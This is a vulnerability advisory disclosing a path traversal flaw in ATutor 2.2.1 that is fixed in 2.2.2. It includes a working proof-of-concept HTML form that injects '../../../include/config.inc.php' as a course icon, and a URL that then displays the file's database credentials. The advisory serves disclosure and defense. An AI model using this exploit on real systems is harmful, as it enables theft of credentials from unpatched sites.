Arbitrary File Content Disclosure in Atutor

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23297
Product: Atutor
Vendor: Atutor
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Advisory Publication:  February 24, 2016  [without technical details]
Vendor Notification: February 24, 2016 
Vendor Patch: July 1, 2016 
Public Disclosure: August 2, 2016 
Vulnerability Type: Path Traversal [CWE-22]
Risk Level: Medium 
CVSSv3 Base Score: 5.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability 
in a popular web-based e-learning system Atutor. A remote attacker can view 
contents of arbitrary local files on the target system with privileges of the 
web server. 

The vulnerability may allow an attacker gain access to potentially sensitive 
web application and system information, and use received data to gain complete 
control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and 
authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data 
passed via "icon" HTTP POST to "/mods/_core/courses/users/create_course.php" 
script, when saving information to database. A remote authenticated attacker 
can use directory traversal sequences (e.g. "../") in user's icon parameter to 
overwrite its value and then include arbitrary file on the system and view its 
contents.

The following PoC code can be used to replace path to user’s icon in database. 
In this example, we will inject path to the system configuration 
"/include/config.inc.php" file:


<form action="http://[host]/mods/_core/courses/users/create_course.php"; 
method="POST" name="f1" enctype="multipart/form-data">
<input type="hidden" name="form_course" value="true">
<input type="hidden" name="MAX_FILE_SIZE" value="819200">
<input type="hidden" name="course" value="0">
<input type="hidden" name="old_access" value="protected">
<input type="hidden" name="created_date" value="2016-02-17 13:20:26">
<input type="hidden" name="show_courses" value="0">
<input type="hidden" name="current_cat" value="0">
<input type="hidden" name="title" value="vulnerable">
<input type="hidden" name="pri_lang" value="en">
<input type="hidden" name="description" value="">
<input type="hidden" name="category_parent" value="0">
<input type="hidden" name="content_packaging" value="top">
<input type="hidden" name="rss" value="0">
<input type="hidden" name="access" value="protected">
<input type="hidden" name="release_date" value="0">
<input type="hidden" name="day_release" value="0">
<input type="hidden" name="month_release" value="0">
<input type="hidden" name="year_release" value="0">
<input type="hidden" name="hour_release" value="0">
<input type="hidden" name="min_release" value="0">
<input type="hidden" name="end_date" value="0">
<input type="hidden" name="day_end" value="0">
<input type="hidden" name="month_end" value="0">
<input type="hidden" name="year_end" value="2016">
<input type="hidden" name="hour_end" value="0">
<input type="hidden" name="min_end" value="0">
<input type="hidden" name="banner" value="">
<input type="hidden" name="initial_content" value="1">
<input type="hidden" name="quota" value="-2">
<input type="hidden" name="filesize" value="-3">
<input type="hidden" name="tracking" value="">
<input type="hidden" name="copyright" value="">
<input type="hidden" name="boolForce" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="">
<input type="hidden" name="customicon" value="">
<input type="hidden" name="custOptCount" value="0">
<input type="hidden" name="courseId" value="[COURSE_ID]">
<input type="hidden" name="icon" value="../../../include/config.inc.php">
<input type="button" name="submit" value="Save">
</form>


The injected parameter is used in "readfile()" function in the 
"/get_course_icon.php" script. To view contents of the 
"/include/config.inc.php" file and see database credentials, the attacker needs 
to open the following URL:

http:///get_course_icon.php?id=[COURSE_ID]


-----------------------------------------------------------------------------------------------

Solution:

Update to ATutor 2.2.2

More Information:
https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23297 - 
https://www.htbridge.com/advisory/HTB23297  - Arbitrary File Content Disclosure 
in Atutor
[2] Atutor - http://www.atutor.ca/ - ATutor is a FREE Open Source LMS, used to 
develop online courses and create elearning content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by 
High-Tech Bridge for on-demand and continuous web application security, 
vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL 
implementation for PCI DSS and NIST compliance. Supports all types of protocols.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.